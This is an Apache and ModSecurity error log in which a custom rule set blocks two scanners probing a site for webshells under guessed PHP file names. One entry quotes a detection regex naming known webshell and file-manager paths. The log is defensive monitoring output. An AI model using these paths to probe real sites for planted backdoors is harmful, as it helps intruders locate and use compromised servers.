[Wed Apr 15 19:24:25.689395 2026] [:error] [pid 30957:tid 31005] [client 168.63.72.46:7071] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad91aX5gwVEVXHfVSipyGQAAAFA"]
[Wed Apr 15 19:24:26.189115 2026] [:error] [pid 31053:tid 31062] [client 168.63.72.46:6932] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad91ahcEkLCmvF0fjDeubwAAAIY"]
[Wed Apr 15 19:24:26.728994 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:6865] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad91ang-gnM2Ga0cGAAKvQAAAQo"]
[Wed Apr 15 19:24:27.228077 2026] [:error] [pid 37370:tid 37387] [client 168.63.72.46:6861] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad91a3g-gnM2Ga0cGAAKwQAAAQ8"]
[Wed Apr 15 19:24:27.795846 2026] [:error] [pid 37370:tid 37385] [client 168.63.72.46:6986] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad91a3g-gnM2Ga0cGAAKxwAAAQ0"]
[Wed Apr 15 19:24:28.307712 2026] [:error] [pid 37370:tid 37380] [client 168.63.72.46:6892] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad91bHg-gnM2Ga0cGAAKyQAAAQg"]
[Wed Apr 15 19:24:28.833374 2026] [:error] [pid 37370:tid 37373] [client 168.63.72.46:6803] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad91bHg-gnM2Ga0cGAAKzAAAAQE"]
[Wed Apr 15 19:24:29.331596 2026] [:error] [pid 37370:tid 37395] [client 168.63.72.46:6954] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad91bXg-gnM2Ga0cGAAKzwAAARc"]
[Wed Apr 15 19:24:29.879246 2026] [:error] [pid 37370:tid 37390] [client 168.63.72.46:6960] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad91bXg-gnM2Ga0cGAAK0QAAARI"]
[Wed Apr 15 19:24:30.383837 2026] [:error] [pid 30957:tid 31011] [client 168.63.72.46:6955] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad91bn5gwVEVXHfVSipyHAAAAFY"]
[Wed Apr 15 19:24:31.946924 2026] [:error] [pid 31053:tid 31075] [client 168.63.72.46:7015] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad91bxcEkLCmvF0fjDeudwAAAJM"]
[Wed Apr 15 19:24:32.451673 2026] [:error] [pid 31053:tid 31072] [client 168.63.72.46:7097] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad91cBcEkLCmvF0fjDeueAAAAJA"]
[Wed Apr 15 19:24:33.022512 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:6938] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad91cX5gwVEVXHfVSipyIQAAAFE"]
[Wed Apr 15 19:24:33.525500 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:6968] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad91cXg-gnM2Ga0cGAAK2QAAAQo"]
[Wed Apr 15 19:24:34.055302 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:7017] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad91cn5gwVEVXHfVSipyIwAAAEg"]
[Wed Apr 15 19:24:34.558553 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:7105] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad91chcEkLCmvF0fjDeuewAAAJU"]
[Wed Apr 15 19:24:35.121798 2026] [:error] [pid 30958:tid 31020] [client 168.63.72.46:6941] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad91c8eG3wSKTO7NWFGOwgAAAMQ"]
[Wed Apr 15 19:24:35.631055 2026] [:error] [pid 30958:tid 31026] [client 168.63.72.46:6942] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad91c8eG3wSKTO7NWFGOwwAAAMo"]
[Wed Apr 15 19:24:36.172718 2026] [:error] [pid 30956:tid 30966] [client 168.63.72.46:7006] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad91dEBGUpjaWntNYq1iMwAAAAY"]
[Wed Apr 15 19:24:36.701726 2026] [:error] [pid 30958:tid 31038] [client 168.63.72.46:6939] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad91dMeG3wSKTO7NWFGOxQAAANY"]
[Wed Apr 15 19:24:37.220080 2026] [:error] [pid 31053:tid 31061] [client 168.63.72.46:7038] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad91dRcEkLCmvF0fjDeugQAAAIU"]
[Wed Apr 15 19:24:37.723967 2026] [:error] [pid 30956:tid 30970] [client 168.63.72.46:7010] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad91dUBGUpjaWntNYq1iOwAAAAo"]
[Wed Apr 15 19:24:38.257686 2026] [:error] [pid 30956:tid 30963] [client 168.63.72.46:7032] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad91dkBGUpjaWntNYq1iPgAAAAM"]
[Wed Apr 15 19:24:38.762829 2026] [:error] [pid 30957:tid 30998] [client 168.63.72.46:7030] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad91dn5gwVEVXHfVSipyJQAAAEk"]
[Wed Apr 15 19:24:39.315585 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:6976] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad91d8eG3wSKTO7NWFGOygAAAMA"]
[Wed Apr 15 19:24:39.828274 2026] [:error] [pid 30956:tid 30975] [client 168.63.72.46:7107] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad91d0BGUpjaWntNYq1iRgAAAA8"]
[Wed Apr 15 19:24:40.388392 2026] [:error] [pid 30957:tid 30993] [client 168.63.72.46:6990] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad91eH5gwVEVXHfVSipyKAAAAEQ"]
[Wed Apr 15 19:24:40.894890 2026] [:error] [pid 30957:tid 31009] [client 168.63.72.46:7036] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad91eH5gwVEVXHfVSipyKQAAAFQ"]
[Wed Apr 15 19:24:41.417821 2026] [proxy_fcgi:error] [pid 31053:tid 31062] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:41.671665 2026] [proxy_fcgi:error] [pid 31053:tid 31072] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:41.925646 2026] [proxy_fcgi:error] [pid 31053:tid 31071] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:42.178654 2026] [proxy_fcgi:error] [pid 31053:tid 31060] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:42.431266 2026] [proxy_fcgi:error] [pid 31053:tid 31077] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:42.684959 2026] [proxy_fcgi:error] [pid 31053:tid 31056] [client 168.63.72.46:6912] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:24:43.187111 2026] [:error] [pid 31053:tid 31076] [client 168.63.72.46:6912] [client 168.63.72.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad91excEkLCmvF0fjDeukQAAAJQ"]
[Wed Apr 15 19:24:43.960333 2026] [proxy_fcgi:error] [pid 30957:tid 31012] [client 168.63.72.46:6914] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:23.300895 2026] [proxy_fcgi:error] [pid 30958:tid 31026] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:23.566765 2026] [proxy_fcgi:error] [pid 30958:tid 31017] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:23.832856 2026] [proxy_fcgi:error] [pid 30958:tid 31039] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:24.099097 2026] [proxy_fcgi:error] [pid 30958:tid 31029] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:24.365935 2026] [proxy_fcgi:error] [pid 30958:tid 31018] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:24.899616 2026] [proxy_fcgi:error] [pid 30958:tid 31024] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:25.165660 2026] [proxy_fcgi:error] [pid 30958:tid 31025] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:25.431154 2026] [proxy_fcgi:error] [pid 30958:tid 31036] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:25.699092 2026] [proxy_fcgi:error] [pid 30958:tid 31020] [client 51.12.94.16:1996] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:31:25.962867 2026] [:error] [pid 30958:tid 31022] [client 51.12.94.16:1996] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad93DceG3wSKTO7NWFGQ4wAAAMY"]
[Wed Apr 15 19:31:29.975625 2026] [:error] [pid 30956:tid 30971] [client 51.12.94.16:11285] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad93EUBGUpjaWntNYq1j5wAAAAs"]
[Wed Apr 15 19:31:30.574644 2026] [:error] [pid 30956:tid 30969] [client 51.12.94.16:15806] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad93EkBGUpjaWntNYq1j6AAAAAk"]
[Wed Apr 15 19:31:31.106728 2026] [:error] [pid 31053:tid 31080] [client 51.12.94.16:8158] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad93ExcEkLCmvF0fjDexrwAAAJg"]
[Wed Apr 15 19:31:31.645229 2026] [:error] [pid 31053:tid 31070] [client 51.12.94.16:17926] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad93ExcEkLCmvF0fjDexsgAAAI4"]
[Wed Apr 15 19:31:32.186270 2026] [:error] [pid 30957:tid 30992] [client 51.12.94.16:11526] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad93FH5gwVEVXHfVSipzuAAAAEM"]
[Wed Apr 15 19:31:32.749495 2026] [:error] [pid 37370:tid 37373] [client 51.12.94.16:8191] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad93FHg-gnM2Ga0cGAAQWgAAAQE"]
[Wed Apr 15 19:31:33.286485 2026] [:error] [pid 31053:tid 31062] [client 51.12.94.16:7625] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "ad93FRcEkLCmvF0fjDexugAAAIY"]
[Wed Apr 15 19:31:33.881816 2026] [:error] [pid 31053:tid 31075] [client 51.12.94.16:8166] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad93FRcEkLCmvF0fjDexwAAAAJM"]
[Wed Apr 15 19:31:34.426580 2026] [:error] [pid 37370:tid 37376] [client 51.12.94.16:12335] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad93Fng-gnM2Ga0cGAAQXgAAAQQ"]
[Wed Apr 15 19:31:34.967840 2026] [:error] [pid 30958:tid 31026] [client 51.12.94.16:12898] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad93FseG3wSKTO7NWFGQ7AAAAMo"]
[Wed Apr 15 19:31:35.519067 2026] [:error] [pid 30958:tid 31017] [client 51.12.94.16:15715] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad93F8eG3wSKTO7NWFGQ7gAAAME"]
[Wed Apr 15 19:31:36.074126 2026] [:error] [pid 30958:tid 31029] [client 51.12.94.16:9613] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad93GMeG3wSKTO7NWFGQ8QAAAM0"]
[Wed Apr 15 19:31:36.647902 2026] [:error] [pid 37370:tid 37394] [client 51.12.94.16:8163] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad93GHg-gnM2Ga0cGAAQYQAAARY"]
[Wed Apr 15 19:31:37.203638 2026] [:error] [pid 37370:tid 37374] [client 51.12.94.16:8058] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad93GXg-gnM2Ga0cGAAQZQAAAQI"]
[Wed Apr 15 19:31:37.880882 2026] [:error] [pid 37370:tid 37388] [client 51.12.94.16:11535] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad93GXg-gnM2Ga0cGAAQawAAARA"]
[Wed Apr 15 19:31:38.584734 2026] [:error] [pid 31053:tid 31063] [client 51.12.94.16:1075] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad93GhcEkLCmvF0fjDex0AAAAIc"]
[Wed Apr 15 19:31:39.205939 2026] [:error] [pid 31053:tid 31069] [client 51.12.94.16:9562] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad93GxcEkLCmvF0fjDex1gAAAI0"]
[Wed Apr 15 19:31:39.875461 2026] [:error] [pid 31053:tid 31059] [client 51.12.94.16:9389] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad93GxcEkLCmvF0fjDex3QAAAIM"]
[Wed Apr 15 19:31:40.752534 2026] [:error] [pid 37370:tid 37389] [client 51.12.94.16:16323] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad93HHg-gnM2Ga0cGAAQcAAAARE"]
[Wed Apr 15 19:31:41.532086 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:15025] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad93HXg-gnM2Ga0cGAAQdQAAAQ8"]
[Wed Apr 15 19:31:42.383775 2026] [:error] [pid 37370:tid 37376] [client 51.12.94.16:19538] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad93Hng-gnM2Ga0cGAAQeQAAAQQ"]
